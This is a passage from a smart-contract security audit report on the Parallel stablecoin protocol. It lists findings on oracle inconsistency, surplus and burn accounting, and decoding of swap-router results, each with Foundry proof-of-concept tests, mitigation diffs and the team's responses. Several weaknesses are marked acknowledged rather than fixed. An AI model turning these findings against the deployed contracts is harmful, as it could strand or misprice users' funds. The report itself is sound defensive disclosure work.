There is **no validation** that **all** of the received `tokenIn` (from step 1) is actually consumed during the external swap in step 2.

```
// Swaps flashloaned USDP → collateral (tokenIn)
uint256 amountOut =
  parallelizer.swapExactInput(amount, 0, address(tokenP), tokenIn, address(this), block.timestamp);

// Swaps received collateral → tokenOut (external swap / vault)
amountOut = _swapToTokenOut(typeAction, tokenIn, tokenOut, amountOut, swapType, callData);

@> // ← NO CHECK HERE whether all `tokenIn` was actually spent!

// Swaps tokenOut → USDP to repay flashloan
_adjustAllowance(tokenOut, address(parallelizer), amountOut);
uint256 amountStableOut =
  parallelizer.swapExactInput(amountOut, minAmountOut, tokenOut, address(tokenP), address(this),
  ↪  block.timestamp);

if (amount > amountStableOut) {
  budget[sender] -= amount - amountStableOut;   // Deducts shortfall from sender
}
```

This creates the following problems:

- In exact-output swaps on external routers, only a portion of `tokenIn` may be used → leftovers are not handled
- If the external swap consumes less than expected, the final USDP repayment may be insufficient → sender's budget is over-deducted unnecessarily
- Repeated operations can lead to gradual accumulation of unaccounted collateral assets

Proof of Concept:

1. Flashloan 1000 USDP
2. Step 1: 1000 USDP → 500 tokenIn (via Parallelizer)
3. Step 2: External swap tries to use 500 tokenIn, but due to:
   - exact-output mode
   - high slippage
   - aggregator behavior only consumes 400 tokenIn → 100 tokenIn left in contract
4. Step 3: Only output from 400 tokenIn is swapped back → repays e.g. 960 USDP
5. Contract deducts 40 USDP from sender's budget (even though 100 tokenIn is still held)

Recommended Mitigation: Add balance checks before and after the external swap to verify that `tokenIn` is fully consumed.

Parallel: Acknowledged. Harvester contracts will be refactored.

7.2.4 Oracle Inconsistency between surplus computation and post-check causes `Surplus::processSurplus(collateralAddress,0)` DoS

Description: `LibSurplus::_computeCollateralSurplus` uses `LibOracle::readMint` (L88) to value collateral and compute the extractable surplus. `readMint` snaps the spot price to the target price when spot falls within the `userDeviation` band — for example, spot=1.07 gets snapped to target=1.10 if `userDeviation` is 5%.

The computed `collateralSurplus` is then swapped into tokenP via `Swapper::swapExactInput` (Surplus L55), which internally calls `_quoteMintExactInput` — also using `readMint`. Both the surplus sizing and the swap agree on the inflated valuation, so the swap succeeds and mints tokenP proportional to the snapped price.

The problem is the post-check. After the swap, `Surplus::processSurplus` calls `LibGetters::getCollateralRatio` (L59) to verify the system is still healthy. `getCollateralRatio` uses `LibOracle::readRedemption` (LibGetters L81), which passes `deviation=0` — no snapping, always raw spot. It sees the collateral at 1.07 (not 1.10), but the stables issued now include the extra tokenP minted at the inflated 1.10 rate. The resulting CR drops below `surplusBufferRatio` and the transaction reverts with `Undercollateralized`.

```
// Surplus.sol L59-60
(uint64 collatRatio,,,,) = LibGetters.getCollateralRatio();
if (collatRatio < ts.surplusBufferRatio) revert Undercollateralized();
```

The root cause is that surplus computation and the swap use `readMint` (optimistic, snapped), while the safety check uses `readRedemption` (conservative, raw). When spot < target within the deviation band, these two oracles diverge — the surplus is sized for the snapped price but validated against the real one.

Impact: DoS on `Surplus::processSurplus(collateralAddress,0)` whenever spot is below target but within `userDeviation`. The governor can partially work around it by passing maxCollateralAmount lower than the value computed in `LibSurplus::_computeCollateralSurplus` , which caps the extraction to what the CR can absorb. But this requires off-chain knowledge of the oracle divergence.

Proof of Concept: Added to `tests/units/Parallelizer.t.sol`. Run with: `forge test --match-test "test_ProcessSurplus_RevertWhen_OracleInconsistency_SpotBelowTargetWithinDeviation" -vvvv`

```
function test_ProcessSurplus_RevertWhen_OracleInconsistency_SpotBelowTargetWithinDeviation()
    public
    setZeroMintFeesOnAllCollaterals
{
    // --- Step 1: Mint 100 tokenP at oracle = 1.0 (default STABLE target, userDeviation=0) ---
    _mintZeroFee(address(eurA), 100 * BASE_6);

    // --- Step 2: Reconfigure eurA oracle: MAX target = 1.10, userDeviation = 5% ---
    AggregatorV3Interface[] memory circuitChainlink = new AggregatorV3Interface[](1);
    uint32[] memory stalePeriods = new uint32[](1);
    uint8[] memory circuitChainIsMultiplied = new uint8[](1);
    uint8[] memory chainlinkDecimals = new uint8[](1);
    circuitChainlink[0] = AggregatorV3Interface(address(oracleA));
    stalePeriods[0] = 1 hours;
    circuitChainIsMultiplied[0] = 1;
    chainlinkDecimals[0] = 8;
    OracleQuoteType quoteType = OracleQuoteType.UNIT;
    bytes memory readData =
      abi.encode(circuitChainlink, stalePeriods, circuitChainIsMultiplied, chainlinkDecimals,
      ↪  quoteType);
    bytes memory targetData = abi.encode(uint256(1.10e18));

    vm.startPrank(governor);
    parallelizer.setOracle(
      address(eurA),
      abi.encode(
        OracleReadType.CHAINLINK_FEEDS,
        OracleReadType.MAX,
        readData,
```

```
        targetData,
        abi.encode(uint128(5e16), uint128(0)) // userDeviation=5%, burnRatioDeviation=0
      )
    );
    vm.stopPrank();

    // --- Step 3: Drop spot price to 1.07 - below target (1.10) but within 5% deviation ---
    MockChainlinkOracle(address(oracleA)).setLatestAnswer(int256(1.07e8));

    // --- Step 4: Verify surplus exists (overestimated by readMint) ---
    (uint256 collateralSurplus, uint256 stableSurplus) =
    ↪  parallelizer.getCollateralSurplus(address(eurA));
    assertGt(collateralSurplus, 0, "Surplus should exist (readMint snaps to 1.10)");
    assertGt(stableSurplus, 0, "Stable surplus should exist");

    // --- Step 5: processSurplus reverts - oracle inconsistency → Undercollateralized ---
    _setSlippageTolerance(address(eurA), 1e8);
    vm.startPrank(governor);
    parallelizer.updateSurplusBufferRatio(uint64(BASE_9));

    vm.expectRevert(Undercollateralized.selector);
    parallelizer.processSurplus(address(eurA), 0);
    vm.stopPrank();
}
```

The `-vvvv` trace confirms the flow:

```
Surplus::processSurplus
  → readMint(oracleA) → snaps 1.07 → 1.10   // surplus = ~10 eurA
  → eurA::approve(Parallelizer, 9.09e6)
  → Swapper::swapExactInput                  // self-swap, readMint=1.10
    → eurA::transferFrom(self, self, 9.09e6)  // collateral stays in diamond
    → tokenP::mint(Parallelizer, 9.999e18)    // ~10 tokenP minted
  → getCollateralRatio()                       // post-check
    → readRedemption(oracleA) → raw 1.07      // no snapping
    → CR = 107e18 / 110e18  0.972            // < surplusBufferRatio (1.0)
     REVERT: Undercollateralized()
```

Recommended Mitigation: A complete fix requires resolving the oracle valuation in `LibSurplus::_computeCollateralSurplus` to conservatively compute the stable surplus, and readMint to back-convert to collateral (matching the swap execution price).

```
   function _computeCollateralSurplus(address collateral)
     internal
     view
     returns (uint256 collateralSurplus, uint256 stableSurplus)
   {
     ParallelizerStorage storage ts = s.transmuterStorage();
     Collateral storage collatInfo = ts.collaterals[collateral];
     uint256 currentCollateralBalance;
     if (collatInfo.isManaged > 0) {
       (, currentCollateralBalance) = LibManager.totalAssets(collatInfo.managerData.config);
     } else {
       currentCollateralBalance = IERC20(collateral).balanceOf(address(this));
     }
-    uint256 oracleValue = LibOracle.readMint(collatInfo.oracleConfig);
+    uint256 redemptionValue = LibOracle.readRedemption(collatInfo.oracleConfig);
+    uint256 mintValue = LibOracle.readMint(collatInfo.oracleConfig);
+    uint256 conservativeValue = redemptionValue < mintValue ? redemptionValue : mintValue;
     uint256 totalCollateralValue =
-      LibHelpers.convertDecimalTo(oracleValue * currentCollateralBalance, 18 + collatInfo.decimals,
↪  18);
```

```
+      LibHelpers.convertDecimalTo(conservativeValue * currentCollateralBalance, 18 +
↪  collatInfo.decimals, 18);
     uint256 stablesBacked = (uint256(collatInfo.normalizedStables) * ts.normalizer) / BASE_27;
     if (totalCollateralValue <= stablesBacked) revert ZeroSurplusAmount();
     stableSurplus = totalCollateralValue - stablesBacked;
-    collateralSurplus = LibHelpers.convertDecimalTo((stableSurplus * BASE_18) / oracleValue, 18,
↪  collatInfo.decimals);
+    collateralSurplus = LibHelpers.convertDecimalTo((stableSurplus * BASE_18) / mintValue, 18,
↪  collatInfo.decimals);
   }
```

This adds non-trivial complexity. As a practical alternative, the team can use the existing maxCollateralAmount parameter: compute the correct collateralSurplus off-chain using both oracle values and pass it to processSurplus, bypassing the on-chain overestimate.

Parallel: Fixed in commit 7d9d712.

Cyfrin: Verified. Fixed by implementing the recommended mitigation.

7.2.5 `LibSurplus::_computeCollateralSurplus` doesn't account for `surplusBufferRatio > 100%`

Description: `LibSurplus::_computeCollateralSurplus` treats as surplus everything above 100% CR:

```
  function _computeCollateralSurplus(address collateral)
    internal
    view
    returns (uint256 collateralSurplus, uint256 stableSurplus)
  {
    ParallelizerStorage storage ts = s.transmuterStorage();
    Collateral storage collatInfo = ts.collaterals[collateral];
    uint256 currentCollateralBalance;
    if (collatInfo.isManaged > 0) {
      (, currentCollateralBalance) = LibManager.totalAssets(collatInfo.managerData.config);
    } else {
      currentCollateralBalance = IERC20(collateral).balanceOf(address(this));
    }
    uint256 oracleValue = LibOracle.readMint(collatInfo.oracleConfig);
    uint256 totalCollateralValue =
      LibHelpers.convertDecimalTo(oracleValue * currentCollateralBalance, 18 + collatInfo.decimals, 18);
    uint256 stablesBacked = (uint256(collatInfo.normalizedStables) * ts.normalizer) / BASE_27;
    if (totalCollateralValue <= stablesBacked) revert ZeroSurplusAmount();
@>  stableSurplus = totalCollateralValue - stablesBacked;
@>  collateralSurplus = LibHelpers.convertDecimalTo((stableSurplus * BASE_18) / oracleValue, 18,
↪  collatInfo.decimals);
  }
```

However in the end it uses value `ts.surplusBufferRatio` instead of hardcoded 100% CR:

```
  function processSurplus(
    address collateral,
    uint256 maxCollateralAmount
  )
    external
    restricted
    returns (uint256 collateralSurplus, uint256 stableSurplus, uint256 issuedAmount)
  {
    ...
    issuedAmount = ISwapper(address(this))
      .swapExactInput(
        collateralSurplus, minExpectedAmount, collateral, address(ts.tokenP), address(this),
        ↪  block.timestamp
      );
    (uint64 collatRatio,,,,) = LibGetters.getCollateralRatio();
```

```
@>  if (collatRatio < ts.surplusBufferRatio) revert Undercollateralized();
  }
```

Suppose following example:

1) Collateral DAI is 105e18, USDP minted is 100e18, `surplusBufferRatio` is 101%
2) It calculates surplus collateral 5e18 DAI, so will mint extra 5e18 USDP
3) In the end CR = 100%
4) But `surplusBufferRatio = 101%`, so transaction reverts

Impact: `Surplus::processSurplus()` will revert in case `surplusBufferRatio > 100%`. Check will always pass if `surplusBufferRatio < 100%`, so currently there is no sense in having variable instead of hardcoded 100%.

Recommended Mitigation: Fix consists of 2 parts:

1) Calculate per-collateral surplus above `surplusBufferRatio` instead of `100%`. Basically it's solution to equation `totalCollateralValue / (stablesBacked + X) = surplusBufferRatio`. For example in above scenario correct surplus is `3.96e18 USDP`. In the end `CR = 105 / (100 + 3.96) = 101% == surplusBufferRatio`.
2) However above fix still can revert in certain edge case when other collateral has `CR < surplusBufferRatio`. Suppose following example:

- `USDC = 115`, `USDP = 100`; `USDT = 105`, `USDP = 100`; `surplusBufferRatio = 110%`
- Global `CR = (115 + 105) / 200 = 110%`, which is exactly `110%`. It means there is no surplus.
- But it will calculate surplus `4.54` for USDC. Therefore reverts in the end.

So it should cap per-collateral surplus by global extractable surplus. It can be implemented either onchain or offchain via sending specific `maxCollateralAmount`.

Parallel: Fixed in commits 3d5bb19, 27e8857 && 60fec2c

Cyfrin: Verified. Surplus per collateral is now calculated accounting for the `surplusBufferRatio` and considers the global collateralRatio. Calculated surplus ensures both, the per-collateral collateralRatio as well as global collateral ratio to remain above the `surplusBufferRatio`.

7.3 Low Risk

7.3.1 Outdated accounting after burning the surplus `USDP` in `Surplus::release`

Description: When surplus USDP (TokenP) is burned and sent to the zero address (`address(0)`) during the `release()` function, the burn is executed via `tokenP.burnSelf(income, address(this))`, but **no update is made to the protocol's internal accounting** (`normalizedStables`, `normalizer`, or per-collateral `normalizedStables`).

```
  function _release(
    uint256 _totalIncomeReceived,
    address _payee,
    ParallelizerStorage storage _ts
  )
    internal
    returns (uint256 income)
  {
    income = _totalIncomeReceived.mulDiv(_ts.shares[_payee], _ts.totalShares);
    if (_payee == address(0)) {
@>    _ts.tokenP.burnSelf(income, address(this));
    } else {
      IERC20(address(_ts.tokenP)).safeTransfer(_payee, income);
    }
    emit IncomeReleasedToPayee(income, _payee, _ts.lastReleasedAt);
  }
```

This is inconsistent with how burns are handled elsewhere:

- In normal mint/burn operations via `swapExactInput`/`swapExactOutput` (`Swapper` facet), burns correctly decrease both total and per-collateral `normalizedStables` and call `_updateNormalizer(..., false)`.
- In redemptions (`_redeem()`), burns decrease total `normalizedStables` and call `_updateNormalizer(..., false)` (without touching per-collateral values).

Because accounting is not adjusted after burning surplus USDP to `address(0)`, the protocol's tracked total issued stablecoins (`getTotalIssued()`) becomes **permanently higher than the actual circulating supply** of TokenP. This creates a persistent divergence between:

- The tracked issued amount used for collateral ratio, hard caps, redemption proportions, etc.
- The real economic supply of TokenP after the burn.

Impact:

- The protocol **underestimates** its true collateralization ratio (`collatRatio`) after any surplus burn to `address(0)`. The system appears less over-collateralized (or even under-collateralized in edge cases) than it actually is.
- Redemption amounts become **slightly inflated** for users (they receive more collateral than deserved because `stablecoinsIssued` in the denominator is artificially high).
- Surplus processing becomes progressively less effective: the protocol keeps minting new surplus USDP to absorb excess backing, but when that surplus is later burned to `address(0)`, the backing benefit is not removed from accounting → the system becomes increasingly over-collateralized in reality while reported metrics drift lower.
- Breaks core accounting invariant: sum of per-collateral `normalizedStables` should approximate total `normalizedStables`. Repeated surplus burns widen this gap.

Proof of Concept:

1. Protocol has over-collateralization → surplus exists on some collateral.
2. Governance calls `processSurplus(collateral, maxAmount)` → mints extra USDP to the contract (accounting increases `normalizedStables`).
3. Governance later calls `release()` with one payee = `address(0)` → surplus USDP is burned via `burnSelf()`.

4. Actual `TokenP.totalSupply()` decreases, but:
    - `transmuterStorage().normalizedStables` **remains unchanged**
    - `_updateNormalizer(..., false)` is **not called**
    - Reported collateral ratio is now **lower than reality**
5. The divergence grows with every subsequent surplus burn to `address(0)`.

Recommended Mitigation: Since the burning of USDP during surplus release to address(0) is not tied to any specific collateral (unlike a swap burn which is collateral-specific), it is only needed to call `_updateNormalizer()` to proportionally reduce the tracked issued amount across all collaterals.

In `LibSurplus::_release`:

```
if (_payee == address(0)) {
    _updateNormalizer(income, false);
    _ts.tokenP.burnSelf(income, address(this));
}
```

This:

- Matches the redemption burn pattern (where no specific collateral is burned against)
- Lets _updateNormalizer() handle the scaling of normalizedStables and renormalization (if the normalizer falls below BASE_18 or exceeds BASE_36)
- Avoids incorrectly attributing the burn to any single collateral's normalizedStables

Parallel: Acknowledged. The current design is that the `USDp` burned during the release process is the amount that's going to be minted by the Savings contract, as a result, no net changes to the backing.

7.3.2 RewardHandler can be used to call OdosRouterV2 methods other than `swap`

Description: `RewardsHandler::sellRewards` takes a `bytes memory payload` as its second argument which allows governance and trusted sellers to call any method of `OdosRouterV2` (0xCf5540fFFCdC3d510B18bFcA6d2b9987b0772559).

The `amountOut` is decoded on L50

```
amountOut = abi.decode(result, (uint256));
```

However, some of the methods don't return a `uint256`. Notably, `OdosRouterV2::swapMulti` returns a `uint256[]`. This will happily be decoded by `abi.decode` incorrectly, mostly likely to an array offset of `0x20 == 32`.

In the case of `collatInfo.isManaged > 0` this will cause 32 wei of the collateral to be sent to the managed fund with the rest being trapped in the `RewardHandler` contract.

Impact: The collateral will be trapped in the `RewardHandler` contract. Since it is unlikely other methods besides `swap` will be called this is assessed as a Low severity finding.

Proof of Concept:

- tests/units/parallel-protocolRewardHandlerManaged.t.sol

```
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.28;

import { IERC20 } from "@openzeppelin/contracts/interfaces/IERC20.sol";

import { MockTokenPermit } from "tests/mock/MockTokenPermit.sol";
import { MockManager } from "tests/mock/MockManager.sol";
import { CyfrinMockOdosRouter } from "tests/mock/parallel-protocolMockOdosRouter.sol";

import "contracts/parallelizer/Storage.sol";
import "contracts/utils/Constants.sol";
```

```
import "../Fixture.sol";

contract CyfrinRewardHandlerManagedTest is Fixture {
  IERC20 internal tokenA;
  CyfrinMockOdosRouter internal odosMock;
  MockManager internal managerEurA;
  MockManager internal managerEurB;

  function setUp() public override {
    super.setUp();
    tokenA = IERC20(address(new MockTokenPermit("tokenA", "tokenA", 18)));
    odosMock = new CyfrinMockOdosRouter();
    vm.etch(ODOS_ROUTER, address(odosMock).code);

    managerEurA = new MockManager(address(eurA));
    IERC20[] memory subCollaterals = new IERC20[](1);
    subCollaterals[0] = eurA;
    managerEurA.setSubCollaterals(subCollaterals, "");
    ManagerStorage memory managerData =
      ManagerStorage({ subCollaterals: subCollaterals, config: abi.encode(ManagerType.EXTERNAL,
      ↪  abi.encode(address(managerEurA))) });
    vm.prank(governor);
    parallelizer.setCollateralManager(address(eurA), true, managerData);

    // Manage eurB as well so swapMulti can increase multiple collaterals, and the last increased (eurB)
    ↪  is invested.
    managerEurB = new MockManager(address(eurB));
    IERC20[] memory subCollateralsB = new IERC20[](1);
    subCollateralsB[0] = eurB;
    managerEurB.setSubCollaterals(subCollateralsB, "");
    ManagerStorage memory managerDataB =
      ManagerStorage({ subCollaterals: subCollateralsB, config: abi.encode(ManagerType.EXTERNAL,
      ↪  abi.encode(address(managerEurB))) });
    vm.prank(governor);
    parallelizer.setCollateralManager(address(eurB), true, managerDataB);
  }


  /*
   *  When a token like USDM is used the amount actually transferred by a call to ODOS_ROUTER.swap
   *  can be less than the `amountOut` returned.
   *
   *  This causes a revert in RewardHandler::sellRewards#L68
   */
  function test_cyfrin_SellRewards_RevertWhen_AmountOutOverstatesManagedIncrease() public {
    uint256 amountIn = 100e18;
    uint256 amountOutTransferred = 50e6;
    uint256 amountOutReturned = 100e6;
    bytes memory payload = abi.encodeWithSelector(
      parallel-protocolMockOdosRouter.swapSkewed.selector,
      amountIn,
      amountOutTransferred,
      amountOutReturned,
      address(tokenA),
      address(eurA)
    );

    vm.startPrank(governor);
    deal(address(tokenA), address(parallelizer), amountIn);
    deal(address(eurA), ODOS_ROUTER, amountOutTransferred);
    parallelizer.changeAllowance(tokenA, ODOS_ROUTER, amountIn);
    vm.expectRevert();
```

```
  parallelizer.sellRewards(0, payload);
  vm.stopPrank();
}

function test_cyfrin_SellRewards_CanStrandManagedCollateralWhen_AmountOutUnderstatesIncrease() public
↪  {
  uint256 amountIn = 100e18;
  uint256 amountOutTransferred = 100e6;
  uint256 amountOutReturned = 40e6;
  bytes memory payload = abi.encodeWithSelector(
    parallel-protocolMockOdosRouter.swapSkewed.selector,
    amountIn,
    amountOutTransferred,
    amountOutReturned,
    address(tokenA),
    address(eurA)
  );

  vm.startPrank(governor);
  deal(address(tokenA), address(parallelizer), amountIn);
  deal(address(eurA), ODOS_ROUTER, amountOutTransferred);
  parallelizer.changeAllowance(tokenA, ODOS_ROUTER, amountIn);
  parallelizer.sellRewards(0, payload);
  vm.stopPrank();

  assertEq(eurA.balanceOf(address(parallelizer)), amountOutTransferred - amountOutReturned);
}

/*
 *  This test demonstrates that it is possible to call `swapMulti` using `RewardsHandler::sellRewards`
 *
 *  This method returns at uint256[] (not a uint256) but will happily be decoded by abi.decode to
 *  the value 0x20 == 32. (This is the offset value for the array in the return data)
 *
 *  This results in only 32 wei of the token being returned to a managed fund, the rest being
 *  stranded in the RewardHandler contract.
 */
function test_cyfrin_SellRewards_SwapMulti_ReturnsUintArray_DecodesTo32_StrandsCollateral() public {
  uint256 amountIn = 100e18;

  // We'll increase multiple collaterals (eurA then eurB). RewardHandler will pick the last increased
  ↪  collateral
  // in the collateral list for managed investing logic.
  uint256 eurAOut = 1_000_000; // 1e6 (eurA has 6 decimals)
  uint256 eurBOut = 2_000_000_000_000; // 2e12 (eurB has 12 decimals)

  parallel-protocolMockOdosRouter.inputTokenInfo[] memory inputs = new
  ↪  parallel-protocolMockOdosRouter.inputTokenInfo[](1);
  inputs[0] = parallel-protocolMockOdosRouter.inputTokenInfo({ tokenAddress: address(tokenA),
  ↪  amountIn: amountIn, receiver: ODOS_ROUTER });

  parallel-protocolMockOdosRouter.outputTokenInfo[] memory outputs = new
  ↪  parallel-protocolMockOdosRouter.outputTokenInfo[](2);
  outputs[0] = parallel-protocolMockOdosRouter.outputTokenInfo({ tokenAddress: address(eurA),
  ↪  relativeValue: 0, receiver: address(parallelizer) });
  outputs[1] = parallel-protocolMockOdosRouter.outputTokenInfo({ tokenAddress: address(eurB),
  ↪  relativeValue: 0, receiver: address(parallelizer) });

  // Fund the ODOS router with the output tokens so it can transfer them to the diamond.
  deal(address(eurA), ODOS_ROUTER, eurAOut);
  deal(address(eurB), ODOS_ROUTER, eurBOut);

  bytes memory payload = abi.encodeWithSelector(
```

```
      parallel-protocolMockOdosRouter.swapMulti.selector,
      inputs,
      outputs,
      uint256(1),
      bytes(""),
      address(0),
      uint32(0)
    );

    vm.startPrank(governor);
    deal(address(tokenA), address(parallelizer), amountIn);
    parallelizer.changeAllowance(tokenA, ODOS_ROUTER, amountIn);
    parallelizer.sellRewards(0, payload);
    vm.stopPrank();

    // swapMulti returns a `uint256[]` so RewardHandler's `abi.decode(result,(uint256))` reads the first
    ↪  word,
    // which is the offset (0x20), i.e. 32. It will then transfer/invest only 32 units of the chosen
    ↪  managed
    // collateral (eurB), leaving the rest stranded on the diamond.
    assertEq(eurB.balanceOf(address(managerEurB)), 32);
    assertEq(eurB.balanceOf(address(parallelizer)), eurBOut - 32);

    // eurA was also received by the diamond, but because the last increased collateral was eurB, eurA
    ↪  isn't invested.
    assertEq(eurA.balanceOf(address(managerEurA)), 0);
    assertEq(eurA.balanceOf(address(parallelizer)), eurAOut);
  }
}
```

- tests/mock/parallel-protocolMockOdosRouter.sol

```
// SPDX-License-Identifier: GPL-3.0
pragma solidity 0.8.28;

import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";

/*
 *  This contract mocks the OdosRouterV2 at address 0xCf5540fFFCdC3d510B18bFcA6d2b9987b0772559
 *  (see contracts/utils/Constants.sol)
 *
 *  - `swapSkewed` is not a method of OdosRouterV2 but closely resembles `swap`.
 *     It has one extra argument to reflect that the `amountOut` returned from
 *     the `swap` method can be different to the amount actually transferred
 *     for tokens like USDM and stETH
 *
 *  - `swapMulti` has the same signature as in OdosRouterV2 and mimicks its behaviour.
 */
contract CyfrinMockOdosRouter {
  using SafeERC20 for IERC20;

  // Match the real OdosRouterV2 swapMulti signature closely so the selector is realistic.
  struct inputTokenInfo {
    address tokenAddress;
    uint256 amountIn;
    address receiver;
  }

  struct outputTokenInfo {
    address tokenAddress;
    uint256 relativeValue;
    address receiver;
```

```
  }

  function swapSkewed(
    uint256 amountIn,
    uint256 amountOutTransferred,
    uint256 amountOutReturned,
    address tokenIn,
    address tokenOut
  )
    external
    returns (uint256)
  {
    IERC20(tokenIn).safeTransferFrom(msg.sender, address(this), amountIn);
    IERC20(tokenOut).safeTransfer(msg.sender, amountOutTransferred);
    return amountOutReturned;
  }

  function swapMulti(
    inputTokenInfo[] memory inputs,
    outputTokenInfo[] memory outputs,
    uint256, /* valueOutMin */
    bytes calldata, /* pathDefinition */
    address, /* executor */
    uint32 /* referralCode */
  )
    external
    payable
    returns (uint256[] memory amountsOut)
  {
    // Minimal behavior: pull all provided inputs from caller and send fixed amounts to each output
    ↪  receiver.
    // The important part for the RewardHandler bug is that this returns a `uint256[]`, not a `uint256`.
    for (uint256 i; i < inputs.length; ++i) {
      if (inputs[i].tokenAddress != address(0) && inputs[i].amountIn > 0) {
        IERC20(inputs[i].tokenAddress).safeTransferFrom(msg.sender, address(this), inputs[i].amountIn);
      }
    }

    amountsOut = new uint256[](outputs.length);
    for (uint256 i; i < outputs.length; ++i) {
      // Transfer the full output-token balance held by the router to the designated receiver.
      // RewardHandler will decode this `uint256[]` as a single `uint256` and read the first word (0x20
      ↪  == 32).
      amountsOut[i] = IERC20(outputs[i].tokenAddress).balanceOf(address(this));
      if (amountsOut[i] > 0) IERC20(outputs[i].tokenAddress).safeTransfer(outputs[i].receiver,
      ↪  amountsOut[i]);
    }
  }
}
```

Recommended Mitigation: The modified function below:

- only allows for calls to `OdosRouterV2` that return `uint256`
- finds the amount of tokens received by comparing the delta of balances before and after the swap
- invests this amount in the `collatInfo.isManaged` case
- reverts if somehow more than one collateral token was received from the `OdosRouterV2` call

```
function sellRewards(uint256 minAmountOut, bytes memory payload) external nonReentrant returns
↪  (uint256 amountOut) {
  ParallelizerStorage storage ts = s.transmuterStorage();
```

```
    if (!LibDiamond.checkCanCall(msg.sender, msg.data) && ts.isSellerTrusted[msg.sender] == 0) revert
    ↪  NotTrusted();
    address[] memory list = ts.collateralList;
    uint256 listLength = list.length;
    uint256[] memory balances = new uint256[](listLength);
    // Getting the balances of all collateral assets of the protocol to see if those do not decrease
    ↪  during
    // the swap: this is the only way to check that collateral assets have not been sold
    // Not checking the `subCollaterals` here as swaps should try to increase the balance of one
    ↪  collateral
    for (uint256 i; i < listLength; ++i) {
      balances[i] = IERC20(list[i]).balanceOf(address(this));
     }
     uint256 tokenPBalance = IERC20(address(ts.tokenP)).balanceOf(address(this));
+    // Only allow OdosRouterV2 single-swap entrypoints
+    if (payload.length < 4) revert InvalidSwap();
+    bytes4 selector = bytes4(payload);
+    if (
+      selector != IOdosRouterV2.swapCompact.selector &&
+      selector != IOdosRouterV2.swap.selector &&
+      selector != IOdosRouterV2.swapPermit2.selector
+    ) revert InvalidSwap();
     //solhint-disable-next-line
     (bool success, bytes memory result) = ODOS_ROUTER.call(payload);
     if (!success) _revertBytes(result);
-    amountOut = abi.decode(result, (uint256));
-    if (amountOut < minAmountOut) revert TooSmallAmountOut();
     if (IERC20(address(ts.tokenP)).balanceOf(address(this)) < tokenPBalance) revert InvalidTokens();
-    bool hasIncreased;
+    uint256 increases;
     address collateral;
+    uint256 balanceDelta;
     for (uint256 i; i < listLength; ++i) {
       uint256 newBalance = IERC20(list[i]).balanceOf(address(this));
       if (newBalance < balances[i]) {
         revert InvalidSwap();
       } else if (newBalance > balances[i]) {
-        hasIncreased = true;
+        increases++;
         collateral = list[i];
-        emit RewardsSoldFor(list[i], newBalance - balances[i]);
+        balanceDelta = newBalance - balances[i];
+        emit RewardsSoldFor(list[i], balanceDelta);
       }
     }
-    if (!hasIncreased) revert InvalidSwap();
+    if (increases != 1) revert InvalidSwap();
+    if (balanceDelta < minAmountOut) revert TooSmallAmountOut();
     Collateral storage collatInfo = s.transmuterStorage().collaterals[collateral];
     if (collatInfo.isManaged > 0) {
-      IERC20(collateral).safeTransfer(LibManager.transferRecipient(collatInfo.managerData.config),
↪  amountOut);
-      LibManager.invest(amountOut, collatInfo.managerData.config);
+      IERC20(collateral).safeTransfer(LibManager.transferRecipient(collatInfo.managerData.config),
↪  balanceDelta);
+      LibManager.invest(balanceDelta, collatInfo.managerData.config);
     }
   }
```

Parallel: Acknowledged

7.3.3 Missing validation allows `userDeviation > burnRatioDeviation`, silently disabling burn ratio protection

Description: In `LibOracle::readBurn`, `readSpotAndTarget` snaps `oracleValue` to `targetPrice` when spot is within `userDeviation`. The burn ratio check (L84) then compares the already-snapped value against `burnRatioDeviation`. If `userDeviation > burnRatioDeviation`, depegs between the two thresholds are snapped away before the ratio check sees them — the check compares `targetPrice` against itself and never triggers.

`LibSetters::setOracle` validates only via `readMint` (L153), which ignores `burnRatioDeviation`. Nothing enforces `burnRatioDeviation >= userDeviation`.

Impact: When triggered, the burn ratio penalty is silently disabled — `getBurnOracle` returns `minRatio = BASE_18` and all burns proceed at full value during a depeg that should have activated the penalty.

Proof of Concept:

1. Oracle set with `userDeviation=5%`, `burnRatioDeviation=2%`
2. Collateral depegs to 0.96 (4% — between the two thresholds)
3. `readSpotAndTarget` snaps 0.96 → 1.0 → ratio check on L84 passes → `ratio = BASE_18`
4. Burns proceed at full value; the depeg is invisible

Recommended Mitigation: Add in `LibSetters::setOracle`:

```
(uint128 userDeviation, uint128 burnRatioDeviation) = abi.decode(hyperparameters, (uint128, uint128));
if (userDeviation > burnRatioDeviation) revert InvalidParams();
```

Parallel: Fixed in commit bc4574a.

Cyfrin: Verified. Remediated by implementing the recommended mitigation.

7.3.4 Excess `amountStableOut` not credited during Harvest in `GenericHarvester`

Description: In the `GenericHarvester` contract, within the `onFlashLoan` function, there is an issue with handling the difference between the flashloaned amount and the received `amountStableOut`.

If `amountStableOut` is less than the flashloaned amount, the difference is correctly deducted from the original sender. However, if `amountStableOut` exceeds the flashloaned amount (e.g., due to favorable swap rates or additional yields), the excess amount is not credited back to the original sender or handled appropriately.

```
  function onFlashLoan(
    ...
  )
    ...
  {
    ...
    uint256 amountStableOut =
      parallelizer.swapExactInput(amountOut, minAmountOut, tokenOut, address(tokenP), address(this),
      ↪  block.timestamp);
    //@audit => In case there is any excess, that difference is not tracked nor send out of the contract
@>    if (amount > amountStableOut) {
      budget[sender] -= amount - amountStableOut; // Will revert if not enough funds
    }
    return CALLBACK_SUCCESS;
  }
```

Recommended Mitigation: Consider adding a case to handle any excess and credit it to the original sender.

Parallel: Acknowledged. Harvester contracts will be refactored.

7.3.5 `TokenP::burnStablecoin` breaks accounting

Description: Anybody can burn their USDP:

```
    /// @dev This function can typically be called if there is a settlement mechanism to burn
    ↪  stablecoins
    function burnStablecoin(uint256 amount) external {
        _burn(msg.sender, amount);
    }
```

However it's not reflected in Parallel accounting. Associated collateral will be locked in protocol. There are already restricted alternatives that are used by protocol:

```
    function burnSelf(uint256 amount, address burner) external restricted {
        _burn(burner, amount);
    }

    function burnFrom(uint256 amount, address burner, address sender) external restricted {
        if (burner != sender) {
            _spendAllowance(burner, sender, amount);
        }
        _burn(burner, amount);
    }
```

So in current implementation there is no need to have this function.

Recommended Mitigation: Remove function `TokenP::burnStablecoin`.

Parallel: Acknowledged

7.3.6 `SettersGovernor::setWhitelistStatus` allows values other than 0 and 1 potentially leading to DOS

